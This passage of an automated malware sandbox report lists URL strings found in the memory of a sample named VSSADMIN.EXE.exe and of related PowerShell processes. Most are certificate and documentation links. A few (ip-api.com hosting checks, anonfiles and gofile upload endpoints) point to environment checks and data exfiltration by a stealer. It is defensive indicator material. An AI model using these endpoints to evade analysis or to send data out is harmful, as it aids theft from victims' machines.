Source: VSSADMIN.EXE.exe, 00000001.00000002.245082174.0000014C6D256000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.245055208.0000014C6D1B3000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.245103939.0000014C6D276000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.244323782.0000014C6D256000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.244150450.0000014C6D269000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.204299470.0000019668D80000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.223682537.000001FBAB080000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: VSSADMIN.EXE.exe, 00000001.00000003.244166649.0000014C6D0D5000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244940177.0000014C6D0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.p
Source: VSSADMIN.EXE.exe, 00000001.00000003.244166649.0000014C6D0D5000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244940177.0000014C6D0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalT
Source: VSSADMIN.EXE.exe, 00000001.00000003.244317157.0000014C6CDAB000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244787764.0000014C6CDAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl
Source: VSSADMIN.EXE.exe, 00000001.00000002.245055208.0000014C6D23B000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244726303.0000014C6CCC8000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244670872.0000014C6C9B0000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244726303.0000014C6CC54000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.244150450.0000014C6D269000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.204299470.0000019668D80000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.223682537.000001FBAB080000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: VSSADMIN.EXE.exe, 00000001.00000003.244317157.0000014C6CDAB000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244787764.0000014C6CDAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl;
Source: powershell.exe, 00000025.00000002.224011476.000001FBAB187000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: VSSADMIN.EXE.exe, 00000000.00000003.188312658.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: VSSADMIN.EXE.exe, 00000000.00000003.188312658.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: VSSADMIN.EXE.exe, 00000000.00000003.187886205.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188359144.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187947489.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187925323.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187886205.000002413348F000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187766996.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188385630.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187840544.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187859504.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187787611.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188146324.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187811955.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187991838.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188204639.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188122863.000002413348F000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187904602.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188454384.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188359144.000002413348F000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188122863.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: VSSADMIN.EXE.exe, 00000000.00000003.187886205.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188359144.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187947489.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187925323.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187766996.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188385630.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187840544.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187859504.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187787611.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188146324.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187811955.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187991838.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188204639.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187904602.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188454384.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188122863.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: VSSADMIN.EXE.exe, 00000000.00000003.187886205.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188359144.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187947489.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187925323.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187766996.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188385630.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187840544.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187859504.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187787611.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188146324.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187811955.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187991838.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188204639.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187904602.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188454384.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188122863.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: VSSADMIN.EXE.exe, 00000000.00000003.188122863.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: VSSADMIN.EXE.exe, 00000000.00000003.187886205.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188359144.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187947489.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187925323.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187766996.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188385630.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187840544.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187859504.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187787611.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188146324.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187811955.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187991838.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188204639.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187904602.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188454384.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188122863.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: VSSADMIN.EXE.exe, 00000000.00000003.188312658.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: VSSADMIN.EXE.exe, 00000001.00000003.190605654.0000014C6CBE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf);
Source: powershell.exe, 00000025.00000002.213108359.000001FB90F99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft.c
Source: powershell.exe, 00000025.00000002.213108359.000001FB90F99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft.ctain
Source: VSSADMIN.EXE.exe, 00000001.00000002.244872297.0000014C6CFFD000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.245055208.0000014C6D1B3000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.244345388.0000014C6CFFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: VSSADMIN.EXE.exe, 00000001.00000002.244726303.0000014C6CCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/mail/
Source: VSSADMIN.EXE.exe, 00000001.00000002.244726303.0000014C6CBB0000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.244259837.0000014C6CFED000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244863597.0000014C6CFEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535
Source: VSSADMIN.EXE.exe, 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/?fields=225545
Source: VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/?fields=225545r
Source: VSSADMIN.EXE.exe, 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hostingr
Source: powershell.exe, 00000008.00000002.203170941.000001961006E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.213633316.000001FB930A4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.222515126.000001FBA2F10000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.222515126.000001FBA3052000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: VSSADMIN.EXE.exe, 00000000.00000003.188312658.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: VSSADMIN.EXE.exe, 00000000.00000003.187886205.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188359144.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187947489.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187925323.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187766996.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188385630.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187840544.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187859504.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187787611.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188146324.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187811955.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187991838.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188204639.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187904602.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188454384.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188122863.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: VSSADMIN.EXE.exe, 00000000.00000003.187886205.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188359144.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187947489.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187925323.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187886205.000002413348F000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187766996.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188385630.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187840544.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187859504.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187787611.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188146324.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187811955.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187991838.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188204639.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188122863.000002413348F000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187904602.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188454384.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188359144.000002413348F000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188122863.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: VSSADMIN.EXE.exe, 00000000.00000003.187886205.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188359144.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187947489.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187925323.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187886205.000002413348F000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187766996.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188385630.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187840544.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187859504.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187787611.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188146324.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187811955.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187991838.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188204639.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188122863.000002413348F000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187904602.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188454384.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188359144.000002413348F000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188122863.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: VSSADMIN.EXE.exe, 00000000.00000003.187886205.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188359144.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187947489.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187925323.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187766996.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188385630.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187840544.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187859504.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187787611.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188146324.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187811955.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187991838.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188204639.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187904602.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188454384.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188122863.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: VSSADMIN.EXE.exe, 00000000.00000003.188312658.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: VSSADMIN.EXE.exe, 00000000.00000003.188312658.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 00000025.00000002.213633316.000001FB930A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: VSSADMIN.EXE.exe, 00000000.00000003.188312658.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: VSSADMIN.EXE.exe, 00000000.00000003.188312658.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.symcd.com06
Source: powershell.exe, 00000008.00000002.200799345.0000019600202000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000008.00000002.200799345.0000019600001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.213633316.000001FB92EA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.200799345.0000019600202000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: VSSADMIN.EXE.exe, 00000001.00000002.245190782.0000014C6D5F4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc6125#section-6.4.3
Source: VSSADMIN.EXE.exe, 00000000.00000003.188312658.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: VSSADMIN.EXE.exe, 00000000.00000003.188312658.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: VSSADMIN.EXE.exe, 00000000.00000003.188312658.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: VSSADMIN.EXE.exe, 00000000.00000003.188312658.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: VSSADMIN.EXE.exe, 00000000.00000003.188312658.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: VSSADMIN.EXE.exe, 00000000.00000003.188312658.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: powershell.exe, 00000025.00000002.213633316.000001FB930A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: VSSADMIN.EXE.exe, 00000001.00000003.192222187.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/iso-time.html
Source: VSSADMIN.EXE.exe, 00000000.00000003.187886205.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188359144.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187947489.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187925323.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187766996.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188385630.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187840544.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187859504.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187787611.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188146324.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187811955.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187991838.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188204639.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187904602.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188454384.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188122863.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: VSSADMIN.EXE.exe, 00000001.00000003.192742374.0000014C6D005000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.245103939.0000014C6D29B000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.192683834.0000014C6D29E000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.192750598.0000014C6D280000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.192683834.0000014C6D250000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.244150450.0000014C6D29B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: VSSADMIN.EXE.exe, 00000001.00000003.192222187.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/time-zones/repository/tz-link.html
Source: VSSADMIN.EXE.exe, 00000001.00000002.244872297.0000014C6CFFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoftDOWNLO~1JSOy.0
Source: VSSADMIN.EXE.exe, 00000001.00000003.244345388.0000014C6CFFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoftESSAG~1.JSOy.0
Source: VSSADMIN.EXE.exe, 00000001.00000003.192222187.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
Source: VSSADMIN.EXE.exe, 00000001.00000002.245019718.0000014C6D154000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: VSSADMIN.EXE.exe, 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.anonfiles.com/upload
Source: VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.anonfiles.com/uploadr
Source: VSSADMIN.EXE.exe, 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServer
